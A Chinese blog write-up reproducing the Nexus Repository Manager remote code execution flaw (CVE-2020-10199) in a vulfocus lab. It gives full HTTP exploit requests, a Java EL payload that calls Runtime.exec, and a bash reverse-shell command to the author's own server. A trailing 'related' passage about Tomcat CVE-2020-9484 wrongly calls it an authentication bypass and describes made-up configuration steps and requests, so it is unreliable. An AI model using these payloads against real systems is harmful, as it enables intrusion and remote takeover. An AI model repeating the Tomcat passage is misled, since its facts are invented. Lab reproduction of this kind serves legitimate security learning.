nexus 远程代码执行 (CVE-2020-10199)

目录

一、漏洞信息

二、影响版本

三、环境搭建

四、漏洞复现 

五、修复建议 


这里用的是docker desktop+vulfocus搭建的环境。

一、漏洞信息

名称: nexus 远程代码执行 (CVE-2020-10199/10204)

描述: Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。 CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的。

二、影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

三、环境搭建

运行docker desktop,运行vulfocus容器

打开vulfoucs,搜索CVE-2020-10199或nexus 远程代码执行

下载靶场,下面那个是CVE-2020-10204,这里就不下载了。

 下载完成后启动靶场。

四、漏洞复现 

访问地址,刚开始会初始化一会,等一下就好了

右上角登陆,弱口令admin/admin登录

 登录时抓包,一个个放包,

比如这个包,获取里面的NX-ANTI-CSRF-TOKEN和Cookie里面的NXSESSIONID

之后在重放模块里面粘贴POC,这个包执行的是3个233相乘的表达式,通过这个表达式能否执行来判断漏洞存在与否

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 靶场ip:端口
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: 靶场ip:端口
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: 靶场ip:端口
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close    

{
  "name": "internal",
  "online": true,
  "storage":
 {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group":
 {
    "memberNames": ["$\\A{233*233*233}"]
  }
}

 根据自己的情况修改一下。新建一个空的页面

将上面的poc粘贴进去, 我修改后是这样

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.0.6:10787
Content-Length: 209
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.46798851483258597
Content-Type: application/json
Accept: */*
Origin: http://192.168.0.6:10787
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://192.168.0.6:10787/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.46798851483258597; NXSESSIONID=00e0ec13-4678-4247-b392-7310e0c64080
Connection: close    

{
  "name": "internal",
  "online": true,
  "storage":
 {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group":
 {
    "memberNames": ["$\\A{233*233*233}"]
  }
}

发送,注意右上角的目标也要填

 可以看到执行成功了。

修改memberNames的值为

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

可以看到执行成功,我们 ls /tmp看flag,发现回显一直是这个,那么就用nc反弹shell,

将exec里面执行的命令改为

/bin/bash -c bash$IFS$9-i>&/dev/tcp/{自己服务器ip}/4444<&1

 这里我们用Ubuntu来nc监听,

 然后发包

五、修复建议 

升级至最新版本的Nexus Repository Manager(3.21.2或更高版本),可从Sonatype网站获得

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
CVE-2020-9484是Apache Tomcat容器中的一种身份验证绕过漏洞。要复现该漏洞,我们需要满足以下条件: 1. 安装Apache Tomcat服务器:首先需要在本地或远程环境中安装Apache Tomcat服务器。确保Tomcat版本为9.0.0.M1至9.0.0.30。 2. 配置Tomcat服务器:在Tomcat的配置文件中(通常是server.xml),需要启用HTTP Connector属性中的restEnabled参数。该参数默认为false,我们需要将其设置为true。 3. 修改用户配置文件:在Tomcat配置文件的users节点中,添加一个或多个用户。为了复现漏洞,我们需要至少添加一个用户名为test的用户及其密码。 4. 启动Tomcat服务器:启动Tomcat服务器,确保它在本地或远程环境中运行。 5. 发起请求攻击:使用任何Web请求工具(如curl、Postman等),构造以下HTTP请求: POST /servlets-examples/servlet/RequestParamExample HTTP/1.1 Host: [Tomcat服务器IP地址]:[Tomcat服务器端口号] Content-Length: [content-length] Transfer-Encoding: [transfer-encoding] attName=%25%7B%25+%27test%27%2e%25+%27class%27%7d 其中,[Tomcat服务器IP地址]替换为Tomcat服务器的实际IP地址,[Tomcat服务器端口号]替换为Tomcat服务器的实际端口号,[content-length]和[transfer-encoding]分别为请求体的长度和编码方式。 6. 漏洞验证:如果成功复现漏洞,我们将获得类似以下的服务器响应: HTTP/1.1 200 OK [其他响应头信息] Content-Type: text/html;charset=UTF-8 [其他响应体信息] ${%27test%27.class} 如果响应体中包含"${'test'.class}"的引用,则漏洞已成功复现。这说明攻击者绕过了身份验证,并成功执行了恶意代码。 需要注意的是,CVE-2020-9484漏洞可能会导致未经授权的远程代码执行,攻击者可以利用此漏洞来执行任意代码,可能导致服务器受到严重影响。在验证漏洞后,建议尽快升级Tomcat服务器,安装相应的补丁或增加其他安全措施,以避免潜在的安全威胁。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值